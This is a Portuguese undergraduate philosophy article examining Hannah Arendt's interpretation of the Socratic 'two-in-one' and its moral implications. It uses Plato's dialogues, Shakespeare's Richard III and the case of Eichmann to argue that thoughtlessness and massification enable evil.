Algumas implicações do dois-em-um socrático na perspectiva arendtiana

Algumas implicações do dois-em-um socrático na perspectiva arendtiana

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ALGUMAS IMPLICAÇÕES DO DOIS-EM-UM SOCRÁTICO, NA PERSPECTIVA
ARENDTIANA.

Por: Pedro H. S. Pereira (graduando
em Filosofia . UFSJ / Direito no IPTAN).

Orientador: Prof. José Luiz de Oliveira
(doutorando – UFMG).

Resumo

O
presente artigo aborda o princípio moral do dois-em-um socrático, e as
implicações trazidas pela sua presença naqueles que se utilizam da faculdade do
pensar, que
exercitada de maneira incessante, é capaz de nos deixar perplexos. A abordagem estende-se também
àqueles que abrem mão dessa faculdade, demonstrando as conseqüências a que
estão sujeitos. A irreflexão é fruto da massificação, e somente o exercício do
pensar é capaz de nos livrar das implicações negativas advindas deste fenômeno.

Palavras-chave: dois-em-um / pensar /
implicações.

Introdução

Quando
nos dispomos a trabalhar quaisquer questões relativas à nossa consciência, a
figura do filósofo grego Sócrates e seus intrigantes questionamentos
aporéticos, nos leva através dos escritos da filósofa Hannah Arendt,1
a dedicarmo-nos de forma mais metódica ao presente assunto.

Quanto à figura de Sócrates, por não ter este deixado quaisquer escritos referentes a seus ensinamentos, tudo aquilo a que temos acesso a seu respeito,
provém principalmente de seus discípulos Platão e Xenofonte, que transcreveram em
algumas de suas obras, diálogos mantidos por Sócrates com outros cidadãos da polis grega.

É
partindo da proposição de um destes diálogos platônicos, o Górgias, que
encontramos o princípio moral do dois-em-um, na resposta de Sócrates ao
interlocutor Cálicles enquanto dialogavam sobre o mal: “eu preferiria que minha
lira ou um coro por mim dirigido desafinasse e produzisse ruído desarmônico, e
que multidões de homens discordassem de mim do que eu, sendo um, viesse a
entrar em desacordo comigo mesmo e a contradizer-me”.2

Como
percebemos, Sócrates se importava incessantemente com a boa relação entre ele e
o seu eu, pois é essa relação que faz do pensamento uma verdadeira atividade na
qual sou ao mesmo tempo quem pergunta e quem responde3, quem propõe
e coíbe a prática de atos impensados, quem chama a atenção e adverte moralmente
sobre a ilicitude de minhas ações.

O modelo do dois-em-um de Sócrates

Ao
trabalhar o modelo socrático do dois-em-um, Arendt quer estabelecê-lo como um
referencial para o pensar, pois Sócrates, quando no exercício do dois-em­um,
não quis em momento algum correr o risco de ficar em desacordo consigo mesmo4.
Neste caso, o dois-em-um consiste em uma diferença que se estabelece dentro de
minha própria unicidade5; isto é, o dois-em-um de Sócrates se
realiza na pessoa considerando a companhia de sua própria consciência, e por
isso não permite que esta entre em contradição consigo mesma.

A interpretação feita por Arendt
a respeito do dois-em-um, é caracterizada pela amizade e pela contradição, pois
para que haja amizade, torna-se necessário que eu e minha consciência estejamos
em bons termos, caso contrário, terei que viver com o incômodo da contradição
do eu consigo mesmo. Sócrates tinha
enorme preocupação com essa condição dual e
implicadora, pois sempre que ia cometer qualquer ato considerado reprovável
pelo seu eu, sentia a presença de um demônio6 que o fazia mudar de
idéia, e seguir pelo caminho mais correto: “Aquela minha luz profética, aquela
de demônio, durante todo tempo (…) sempre se me opunha, mesmo em
circunstâncias de pouca monta, assim que estivesse para fazer alguma coisa que não fosse me sair bem.”7
Logo, temos que o dois-em­um também funciona como uma espécie de senso
reprovador que, através de seus princípios morais, não nos diz o que fazer, diz
o que não fazer; não nos sugere princípios
para a ação, coloca-nos demarcações que as ações não devem transpor,8e
faz com que ajamos a todo momento cientes de seus resultados perturbadores, ao irmos de auto-encontro após o
cometimento de algo reprovável.

Sócrates foi um cidadão que não abriu mão
de forma alguma dessa sua condição dual. Em
mais um dos diálogos Platônicos, o Hípias Maior, Sócrates, em conversa
com Hípias, descreveu de forma bastante peculiar a interação mantida com seu eu, que consistia em ter sempre o
esperando em casa um sujeitinho com o
qual além de dividir o mesmo teto, tinha que estar de acordo para que ele não o
perturbasse e questionasse sua estadia.9

Decerto, o dois-em-um
é uma implicação daqueles que buscam fazer companhia a si mesmos, pois aqueles
que a renegam e primam em viver internamente sós numa fuga dessa realidade,
acabam por ter como resultado, uma má formação da própria consciência, e esta
segundo Arendt, é o alicerce para o ego
pensante, à medida em que nos faz cientes de nosso posicionamento e
realidade perante a sociedade, levando-nos à notoriedade: “O que o pensamento
torna real, no meio deste processo infinito, é a diferença na
consciência, […] é apenas sob essa forma humanizada que a consciência torna-se a característica notória de um homem…”10

Algumas Implicações morais trazidas pelo dois-em-um

Todos
somos capazes de exercitar o pensar, porém, este é suscetível de manobra por
aqueles que não querem ter o peso de lidar com um ser questionador e intrigante
ao se depararem com seu eu. Como nos ensina Arendt no texto Pensamento e
considerações morais,11 “o pensar […] não é prerrogativa de uns
poucos; é antes uma faculdade que está sempre presente em todos; do mesmo modo,
a inabilidade de pensar, não é .prerrogativa. de muitos, aos quais falta potência
cerebral, mas sim a possibilidade sempre presente em todos […] de esquivar-se
dessa interação consigo mesmo…”12 Essa fuga se dá porque o dois­em-um
quando posto em prática nos incomoda, como diz Shakespeare em sua obra Ricardo
III13, é como milhares de línguas que ficam todo tempo a nos
condenar por nossos atos perjúrios, e nos faz refletir profundamente sobre as
atitudes tidas pelo eu interior como ilícitas, e assim, torna-se sempre mais
viável o desvio dessa interatividade, pois não implica em nenhum tipo de
autocontradição contínua frente a nossas ações.

Sabemos
que aos olhos da sociedade, enquanto a conduta tida como reprovável por nossa
consciência não é desvendada no âmbito externo, há a possibilidade através do
esquivar-nos da auto-interação, de reprimirmos ao castigo trazido pela violação
moral cometida. Porém, quando o pensar é colocado em prática, sentimos as
fortes conseqüências trazidas pelo senso interior, que partindo da realidade
externa e se internalizando em nossas mentes através da consciência, faz com
que nos sintamos mal e fiquemos perplexos ao cometer

qualquer ato moralmente
reprovável, como ocorreu com Caim,14 que ao matar seu irmão Abel, viu-se no direito de
ser morto por qualquer um que viesse a ter ciência do fato de ele ter
desrespeitado a ordem divina. Tal exemplo nos faz claramente compreender que “a
razão pela qual não devemos matar, mesmo quando não podemos sem vistos por
ninguém, é que não queremos de modo algum estar juntos a um assassino.”15

A fuga da
auto-interação e da faculdade do pensar pode nos levar a resultados desastrosos
em nossa convivência social, vez que não abre as portas para as diversas
facetas e possibilidades do vir a ser da realidade, fazendo com que ajamos quase
que mecanicamente. Arendt cita como exemplo deste tipo de agir, o criminoso de guerra
nazista Adolf Eichmann, que diferentemente do que ela imaginara, não era nenhum
monstro ou ser demoníaco:

“A única característica específica que se podia detectar em
seu passado, bem como em seu comportamento durante o julgamento e o inquérito
policial, afigurava-se como algo totalmente negativo: não se tratava de
estupidez, mas de uma curiosa e bastante autêntica incapacidade de pensar.”16

É
por esta simples razão que ele, seguindo as ordens de seus superiores, cometeu
o massacre de milhares de judeus durante a ascensão do regime nazista, como nos
fala Nádia Souki em seu artigo sobre a mencionada questão:

“Eichmann
era um homem que não parava para refletir. Ele não tinha perplexidades e nem
perguntas, apenas atuava, obedecia. Seu desejo de agir corretamente, de ser um
funcionário eficiente, de ser aceito e reconhecido dentro da hierarquia, o
tornou […] incapaz de fazer a diferença entre encaminhar ofícios
e assinar ordem para o massacre de milhares de pessoas.”17

Quando
questionamo-nos acerca da proliferação do regime totalitário dentro da organização estatal alemã,
talvez não consigamos imaginar o porquê de sua tão irrestrita aceitabilidade. O
incrível é que este fenômeno propiciado pela não utilização da faculdade do
pensar, chamado por Arendt de massificação, nos leva como no caso de Eichmann,
a querer agir única e exclusivamente sobre os moldes e condutas impostas pela e
dentro da realidade a qual estamos inseridos, levando-nos a agir monotonamente,
para estarmos em conformidade com o todo18.

Em sua obra Ricardo
III, Shakespeare nos dá um exemplo bastante interessante através do personagem
Ricardo, da condição impensante sendo “destruída” pela utilização da faculdade
do pensar, devido ao encontro profundo com o eu através das referidas
implicações morais trazidas pelo dois-em-um.

Almejando unicamente
a ascensão ao poder, Ricardo não deixou de medir esforços para alcançar mesmo
que de forma cruel o trono inglês. Seu intenso desejo de sagrar-se rei levara-o
a renegar sua dualidade até o momento em que foi a seu encontro, vendo-se em
profunda contradição devido aos hediondos atos cometidos:

“Perjúrio,
perjúrio em mais alto grau, homicídio, terrível homicídio, em mais horrorendo grau, todos os crimes levados ao grau supremo, ocorrem em multidão para acusar-me, gritando todos: .Culpado!
Culpado!. Desaparecei! Nenhuma criatura humana me ama! E se morrer nenhuma alma
terá piedade de mim […] Pareceu-me que as almas de todos aqueles que eu
assassinei, na minha tenda entraram,
e cada um ameaçava sobre a cabeça de Ricardo a vingança de amanhã!”19

Note-se
que as reações tidas por Ricardo após o exame de consciência, possibilitam-nos
entender o porque de ser tão necessário o contínuo cultivo de nossa condição
dual, para que não sintamos o embate frontal do reflexo negativo das
implicações morais advindas de atos incorretos que cometemos, o que nos leva a
uma contradição tão maior quanto forem as regras e leis morais por nós
transgredidas durante o tempo em que não exercitamos o pensar.

Considerações finais

A
irreflexão e fuga do dois-em-um trazido pelo não pensar, tem se mostrado um fato bem corriqueiro com o
fenômeno da massificação. Em sua realidade a massificação nada mais é do que uma forma de
apologia ao não pensar, a medida que deixa de levar em conta a necessidade que temos de
nos posicionar criticamente frente à realidade daquilo com que lidamos. Arendt
nos alerta acerca dessa situação, pois segundo ela, não podemos deixar de lutar
em nenhum momento contra a ascensão do não pensar: “quando todos se deixam
levar impensadamente pelo que os outros fazem e por aquilo em que crêem,
aqueles que pensam são forçados a aparecer…”20

E
é através da maiêutica, um processo socrático pelo qual pode-se levar as
pessoas a pensar, parir suas próprias idéias e abrir os olhos para a realidade,
que se torna possível disseminar a utilização da faculdade do pensar e fazer
com que o dois-em-um socrático passe a ser princípio de peso em momentos de
decisão em qualquer indivíduo, levando-o para e pelo caminho mais coerente. Do
contrário, a fuga do próprio eu, e o alastrar dessa possibilidade não pensante,
concorre para o aumento da realidade mecanicista, e o fim do policiamento integral trazido pelo senso implicador gerado em cada um através da faculdade do pensar.

Notas

1 Johannah Arendt (1906-1975) foi uma filósofa alemã de
ascendência judia que presenciou a ascensão da Alemanha nazista, e a partir da
realidade histórica e filosófica vivida durante a vigência do regime totalitário, desenvolveu alguns dos seus principais
questionamentos filosóficos que sempre circundam em torno do poder
questionador trazido pelo pensar.
2 GÓRGIAS, 482c.

3 ARENDT, Hannah.. A vida do Espírito. Rio de Janeiro:
Relume Dumará, 1992, p.139.

4 Idem, p.137.
5 Idem.


6 Note-se que de
acordo com Abagnano em seu Dicionário de Filosofia (ABAGNANO,1960, p.224), os demônios eram para os gregos como
seres divinos que, apesar de não supremos, tinham habitualmente a função de
mediação sobre alguma atitude dos indivíduos, não necessariamente agindo de
forma maléfica, exemplo disso dado pelo autor é do próprio Sócrates, que tinha
um demônio que não o deixava fazer coisas erradas, chamando sua atenção sempre
quando partia para a ratificação de alguma.

7 PLATÃO. Apologia de
Sócrates.
São
Paulo: Nova Cultural, 2000. p.95.

8 ARENDT. Hannah. Desobediência Civil. In: Crises da
República.
São Paulo: Perspectiva, 1973. p.60

9 Cf: op. Cit.3, p.141.

10 Op. Cit. 3. p.140.

11 ARENDT, Hannah.Pensamento e
considerações morais. In:
A


Dignidade da Política.
Rio de Janeiro: Relume Dumará,1997.
p.143 ss.

12 Idem, p.166.

13 SHAKESPEARE, Willian. RicardoI. Rio de
Janeiro: Nova Aguilar, 1995. p. 651 (Coleção Obras Completas).

14

Gênesis 4,1-16.

15 ARENDT, Hannah. Filosofia e
Política. In:A Dignidade da Política. Rio de Janeiro: Relume Dumará,1997.
p.103.

16 Op.
Cit. 11, p.143. Cf: Eichmann em Jerusalém. Na citada obra, Arendt, que
presenciou o julgamento e condenação de Eichmann pelos crimes cometidos por
este durante a vigência do regime nazista, relata fatos de seu julgamento, além
de se utilizar da figura deste para trabalhar questões relativas ao pensar.

17 SOUKI, Nádia.
Hannah Arendt e a banalidade do mal. In: Extensão. Belo Horizonte.
V.8. nº26. p.53. ago. 1998.

18 Sobre esta experiência totalitária a
que Arendt se refere em muitos de seus textos, demonstra-se bastante proveitosa a análise do
filme baseado em fatos verídicos “A Onda”, com a direção de Leslie Waldman,
Michael Kick e Paul Deason, estrelando Danny Marmontejo, Frank Lloyd, Max
Copage (e outros), que conta a história de um professor de uma cidadezinha da
Califórnia nos Estados Unidos, que desenvolveu uma experiência totalitária com
sua turma, levando-a a resultados bastante desastrosos em seu convívio.

19 Op. Cit.13. p.651-652

20 Op Cit. 11. p.167.

 

Bibliografia consultada:

ABBAGNANO, Nicola. Dicionário
de Filosofia.
São
Paulo: Mestre Jou, 1960.

ARENDT, Hannah. A
vida do Espírito.
Rio de Janeiro: Relume Dumará, 1992.

A Dignidade da
Política.
Rio
de Janeiro: Relume Dumará,1 997.

Crises
da República.
São
Paulo: Perspectiva, 1973.

Eichmann
em Jerusalém.
Belo
Horizonte : Companhia
das Letras, 1999.
BIBLIA de Jerusalém. São Paulo: Paulus, 1998.

A
Onda.
Direção
de Leslie Waldman, Michael Kick e Paul Deason. Produção: Bruce Hendricks. Atores: Danny
Marmontejo, Frank Lloyd, Marc Copage e outros. T.A.T. Comunications Company,1981.

PLATÃO. Apologia
de Sócrates.
São
Paulo: Nova Cultural, 2000.
Górgias. Pará: Universidade Federal do
Pará, 1980. Vol III-IV (coleção diálogos)

SHAKESPEARE, Willian. Ricardo
III.
Rio de
Janeiro: Nova Aguilar, 1995. (Coleção Obras Completas).

SOUKI, Nádia. Hannah Arendt e a
banalidade do mal. In:
Extensão. Belo Horizonte. V.8. nº26. p.51 -59. ago. 1998.

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